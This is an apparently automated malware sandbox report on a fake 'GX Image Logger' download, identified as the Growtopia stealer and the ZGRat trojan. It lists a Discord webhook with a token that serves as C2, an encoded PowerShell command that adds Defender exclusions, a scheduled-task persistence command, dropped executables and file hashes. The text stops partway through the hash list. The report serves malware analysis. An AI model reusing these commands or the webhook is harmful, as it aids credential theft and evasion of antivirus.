Analysis

  • max time kernel
    139s
  • max time network
    158s
  • platform
    windows11-21h2_x64
  • resource
    win11-20231215-en
  • resource tags

    arch:x64arch:x86image:win11-20231215-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    07-02-2024 07:18

General

  • Target

    https://www.mediafire.com/file/fv9veoyx2lf2x66/GX_Image_Logger.zip/file

Malware Config

Extracted

Family

growtopia

C2

https://discord.com/api/webhooks/1199763266872803338/8vedcXoMcyExhe1xhBm5f8ncmafWmOB3pkulE0l8g9Pel0t3ziyr2V51cLTVEjYsE4Rj

Signatures

  • Detect ZGRat V1 34 IoCs
  • Growtopia

    Growtopa is an opensource modular stealer written in C#.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Detects Pyinstaller 4 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 20 IoCs
  • Suspicious use of FindShellTrayWindow 46 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.mediafire.com/file/fv9veoyx2lf2x66/GX_Image_Logger.zip/file
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3808
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffa16af3cb8,0x7ffa16af3cc8,0x7ffa16af3cd8
      2⤵
        PID:3756
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1804 /prefetch:2
        2⤵
          PID:4468
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4272
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2776 /prefetch:8
          2⤵
            PID:3556
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
            2⤵
              PID:4712
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
              2⤵
                PID:5572
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2024 /prefetch:1
                2⤵
                  PID:6140
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5908 /prefetch:1
                  2⤵
                    PID:5816
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5420 /prefetch:1
                    2⤵
                      PID:3024
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5416 /prefetch:1
                      2⤵
                        PID:4652
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6040 /prefetch:1
                        2⤵
                          PID:2100
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4800 /prefetch:1
                          2⤵
                            PID:2980
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5996 /prefetch:1
                            2⤵
                              PID:2412
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6276 /prefetch:1
                              2⤵
                                PID:2668
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6192 /prefetch:8
                                2⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2540
                              • C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7020 /prefetch:8
                                2⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:4640
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6368 /prefetch:1
                                2⤵
                                  PID:2832
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7068 /prefetch:1
                                  2⤵
                                    PID:6048
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6076 /prefetch:1
                                    2⤵
                                      PID:3372
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4840 /prefetch:1
                                      2⤵
                                        PID:5420
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6004 /prefetch:1
                                        2⤵
                                          PID:2492
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7612 /prefetch:1
                                          2⤵
                                            PID:1476
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7872 /prefetch:1
                                            2⤵
                                              PID:5100
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7776 /prefetch:1
                                              2⤵
                                                PID:3904
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7240 /prefetch:1
                                                2⤵
                                                  PID:3704
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8028 /prefetch:8
                                                  2⤵
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:2092
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8184 /prefetch:1
                                                  2⤵
                                                    PID:1904
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=7496 /prefetch:2
                                                    2⤵
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:5424
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5648 /prefetch:1
                                                    2⤵
                                                      PID:2752
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5624 /prefetch:1
                                                      2⤵
                                                        PID:5736
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1856,13030052452617836398,18138557363747671447,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5144 /prefetch:1
                                                        2⤵
                                                          PID:3064
                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                        1⤵
                                                          PID:1472
                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                          1⤵
                                                            PID:900
                                                          • C:\Windows\System32\rundll32.exe
                                                            C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                            1⤵
                                                              PID:3512
                                                            • C:\Users\Admin\Downloads\GX_Image_Logger\GXImageLogger\GX_Builder.exe
                                                              "C:\Users\Admin\Downloads\GX_Image_Logger\GXImageLogger\GX_Builder.exe"
                                                              1⤵
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:5328
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAeAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAeQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAeAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAcQBsACMAPgA="
                                                                2⤵
                                                                  PID:5732
                                                                • C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe"
                                                                  2⤵
                                                                    PID:4128
                                                                  • C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe"
                                                                    2⤵
                                                                      PID:1456
                                                                    • C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe"
                                                                      2⤵
                                                                        PID:5664
                                                                        • C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe"
                                                                          3⤵
                                                                            PID:5516
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              "schtasks.exe" /Create /TN "WindowsErrorHandler" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC172.tmp" /F
                                                                              4⤵
                                                                              • Creates scheduled task(s)
                                                                              PID:1216
                                                                        • C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe"
                                                                          2⤵
                                                                            PID:6064
                                                                          • C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe"
                                                                            2⤵
                                                                              PID:3596
                                                                              • C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe"
                                                                                3⤵
                                                                                  PID:1868
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://onepiecered.co/s?mH4q
                                                                                    4⤵
                                                                                      PID:3988
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffa16af3cb8,0x7ffa16af3cc8,0x7ffa16af3cd8
                                                                                1⤵
                                                                                  PID:1088

                                                                                Network

                                                                                MITRE ATT&CK Enterprise v15

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                  Filesize

                                                                                  152B

                                                                                  MD5

                                                                                  0307d75488a9def144d0373178e421da

                                                                                  SHA1

                                                                                  1e4351dd4a29b6340913848163b4df62628ad06c

                                                                                  SHA256

                                                                                  9e1bd506806510408dcb9d5e1eab6672d905780282361f2b9974ab9a9ed1ab9e

                                                                                  SHA512

                                                                                  993dbb0491352352ca89542922df735fc7b3cc0d14a4790f106c25ee9fd616d0722151d05e045ed5863e56b128c3308a561b958bbf5fe3bb87498e8a6d12a50b

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                  Filesize

                                                                                  1KB

                                                                                  MD5

                                                                                  97c96aaadc0048469d002c32b84d74ee

                                                                                  SHA1

                                                                                  7bd03ff347deff4654daa8a99939e54a89bc6ca4

                                                                                  SHA256

                                                                                  e907a99b766c2c3e92cf632d38b8d1027ed1c641659708a989e864fb25e6444c

                                                                                  SHA512

                                                                                  db239a60f99aa5c480b98220f25b80a356607e1ef4f7ff2a68de3258b5a4b4a111ae819db790d9c4ad0b4fae4bdc84909c7a770ed67f7e7c5b86dfcf304ba70f

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                                  Filesize

                                                                                  8KB

                                                                                  MD5

                                                                                  5653e0e0cc59d2055720ef01f2f6c3f8

                                                                                  SHA1

                                                                                  f1563b563a2a60a52398bdeae54257b701936e15

                                                                                  SHA256

                                                                                  b612bb8f33c0c47636af8ebddeb71e4ef48709df5eb9bfa357fb23e2e76279f7

                                                                                  SHA512

                                                                                  3c62fd4f8e0e8eefb9d9ca1a2751953b80af20e5cd74498bfb98ee7948873838aa69237eb78417a8d096f28104adba8436b73d98c14ba48001208332ed4e777d

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                                  Filesize

                                                                                  111B

                                                                                  MD5

                                                                                  285252a2f6327d41eab203dc2f402c67

                                                                                  SHA1

                                                                                  acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

                                                                                  SHA256

                                                                                  5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

                                                                                  SHA512

                                                                                  11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                  Filesize

                                                                                  4KB

                                                                                  MD5

                                                                                  18d9789bb0c92c855ba13910a9523062

                                                                                  SHA1

                                                                                  76ae65bddd0ac649a1f8de14cc72a7b3d2e579dc

                                                                                  SHA256

                                                                                  c7eea6ff1b5f53b1f6513d75d7b50422078eac82520325bebd8d74d3fa5604e4

                                                                                  SHA512

                                                                                  eb3deb7937e4352ef6caaddca8c1b906b6b4ad76e389dc494e2396ec1eb884dc0acd60fffca4824101ebe6317f1c269d144434629b1aa2d618a8077fb9ae56ce

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                  Filesize

                                                                                  7KB

                                                                                  MD5

                                                                                  2bc8d372dce257fd65327a961476ddb0

                                                                                  SHA1

                                                                                  5f36b8fc11db216e09da5c8009098e2ae74f05c2

                                                                                  SHA256

                                                                                  1fb1e0e42653eaa71044601ae1e71e0ca985ebf5269cb7e7b38b77cb81d42fee

                                                                                  SHA512

                                                                                  571ee82e741838c47191fb1296477aa9a4fa7bccd68bf2345df6959405f66dd70e3bd5a9c0226df93ee2342499962d21f72fd79cb2373995aa5369202909ab69

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                  Filesize

                                                                                  10KB

                                                                                  MD5

                                                                                  08b7e6caf2bf82a1e01fd6f8ed14a8ed

                                                                                  SHA1

                                                                                  25a45489a509445cff84905b084acdaa7c2a8091

                                                                                  SHA256

                                                                                  b1e91d70f39fc48e2f9895f2442b28899a93c769632a02514eb64b5203ce74e7

                                                                                  SHA512

                                                                                  73aad120b4fffd99cf1fa460248dc305cf2a6aeae59c4a137f1012864082f648fc9d81127f22a27f3629dbc2c88d6e0d7632f47c428c1aefc95e57ed161b4efe

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

                                                                                  Filesize

                                                                                  25KB

                                                                                  MD5

                                                                                  0ace84d2f56d99d6b3318537be8d125b

                                                                                  SHA1

                                                                                  7af20fccd1505637d77a87fec53a4fd8a6f4583b

                                                                                  SHA256

                                                                                  db39a394c432581c6cf5b2d164407cb27af4d998bdf437ca43be05714dd95aa6

                                                                                  SHA512

                                                                                  4317898393123fde58a8604cf19d1156c21e67af8fb152c05a41ac10ae6e26dfd88b856c058a64f57d47be023d7530980f7caeb359e7ffd60a59b83fb3ab0a2e

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                  Filesize

                                                                                  2KB

                                                                                  MD5

                                                                                  d8a629f2cb5198baca2b4a35f2587296

                                                                                  SHA1

                                                                                  c97b241aa1acc65484ca7b238f9ee68a9857fa15

                                                                                  SHA256

                                                                                  5238e00d0c76d8482db28a2165862ec716498ad40799bc58a4a9cf051ae0b5ea

                                                                                  SHA512

                                                                                  cb34da06f518f19479a83743de9cb87adddb9db44ff852866c6d31b63d585c8033cbcd7287617d8ebfd9bccc3f4220b3d333e96b68ae04b89c1135e42c029d0c

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57f0a9.TMP

                                                                                  Filesize

                                                                                  873B

                                                                                  MD5

                                                                                  6ce735d237f30f0548d5ea90bdb15f65

                                                                                  SHA1

                                                                                  f65097b6304ff3a4122f9312ccc11a0493c633ac

                                                                                  SHA256

                                                                                  f54616cf225a3702f7c35ab0dc81f3a34f96ea3b30adcf755d9f6225fd21af6e

                                                                                  SHA512

                                                                                  16086570625d0c934fc21cf009c25c3cb6912b1830f12849c6c8f7d64d819efa0af970ab118e28506d778deeded8557e5570b3337f72ad2f14b150604d6ab090

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                                                                  Filesize

                                                                                  16B

                                                                                  MD5

                                                                                  6752a1d65b201c13b62ea44016eb221f

                                                                                  SHA1

                                                                                  58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                                                                  SHA256

                                                                                  0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                                                                  SHA512

                                                                                  9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                  Filesize

                                                                                  10KB

                                                                                  MD5

                                                                                  24ea0538c9d97d041ea8da145d64e786

                                                                                  SHA1

                                                                                  cae19aa03df2cac3603b14854dccd3bdf264b313

                                                                                  SHA256

                                                                                  82d3eef2f10f02ac4a5fea90b219d860bc8028388d292a333d2b3e980507e630

                                                                                  SHA512

                                                                                  c6c15d39c4c22308405163074c4c3179f55ce7a0f5a05472cc1bf84cc9e38eb04323725ec1fb003eb82bf3c29b219ab5986d820b623cfc7c0dbcb7a6e0f4de60

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                  Filesize

                                                                                  9KB

                                                                                  MD5

                                                                                  a2d5da72a6e1bf71febdebdcc0c2e8dd

                                                                                  SHA1

